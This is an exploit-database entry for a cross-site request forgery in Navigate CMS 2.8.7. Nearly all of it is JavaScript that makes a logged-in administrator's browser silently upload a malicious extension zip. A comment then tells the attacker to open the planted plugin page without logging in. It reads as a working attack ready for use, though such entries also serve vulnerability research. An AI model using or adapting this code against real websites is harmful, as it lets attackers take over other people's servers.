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Navigate CMS 2.8.7 - Cross-Site Request Forgery (Add Admin) Vulnerability
[# Exploit Title: Navigate CMS 2.8.7 - Cross-Site Request Forgery (Add Admin)
# Exploit Author: Gus Ralph
# Vendor Homepage: https://www.navigatecms.com/en/home
# Software Link: https://sourceforge.net/projects/navigatecms/files/releases/navigate-2.8.7r1401.zip/download
# Version: 2.8.7
# Tested on: Ubuntu
# CVE:
<!--
After having an authenticated admin access this HTML page, simply go to as an unauthenticated user (path may slightly vary depending on installation location):
http://DOMAIN.com/navigate/plugins/chiv/chiv.php
-->
<script>
var logUrl = "http://localhost/navigate/navigate.php?fid=extensions&act=extension_upload";
function byteValue(x) {
return x.charCodeAt(0) & 0xff;
}
function toBytes(datastr) {
var ords = Array.prototype.map.call(datastr, byteValue);
var ui8a = new Uint8Array(ords);
return ui8a.buffer;
}
if (typeof XMLHttpRequest.prototype.sendAsBinary == 'undefined' && Uint8Array) {
XMLHttpRequest.prototype.sendAsBinary = function(datastr) {
this.send(toBytes(datastr));
}
}
function fileUpload(fileData, fileName) {
var fileSize = fileData.length,
boundary = "---------------------------399386530342483226231822376790",
uri = logUrl,
xhr = new XMLHttpRequest();
var additionalFields = {
}
var fileFieldName = "extension-upload";
xhr.open("POST", uri, true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8")
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary="+boundary); // simulate a file MIME POST request.
xhr.setRequestHeader("Content-Length", fileSize);
xhr.withCredentials = "true";
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) {
if (xhr.responseText != "") {
alert(JSON.parse(xhr.responseText).msg); // display response.
}
} else if (xhr.status == 0) {
$("#goto").show();
}
}
}
var body = "";
for (var i in additionalFields) {
if (additionalFields.hasOwnProperty(i)) {
body += addField(i, additionalFields[i], boundary);
}
}
body += addFileField(fileFieldName, fileData, fileName, boundary);
body += "--" + boundary + "--";
xhr.sendAsBinary(body);
return true;
}
function addField(name, value, boundary) {
var c = "--" + boundary + "\r\n"
c += "Content-Disposition: form-data; name='" + name + "'\r\n\r\n";
c += value + "\r\n";
return c;
}
function addFileField(name, value, filename, boundary) {
var c = "--" + boundary + "\r\n"
c += "Content-Disposition: form-data; name='" + name + "'; filename='" + filename + "'\r\n";
c += "Content-Type: application/zip\r\n\r\n";
c += value + "\r\n";
return c;
}
var start = function() {
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fileUpload(c, "chiv.zip");
};
start();
</script>
# 0day.today [2025-01-06] #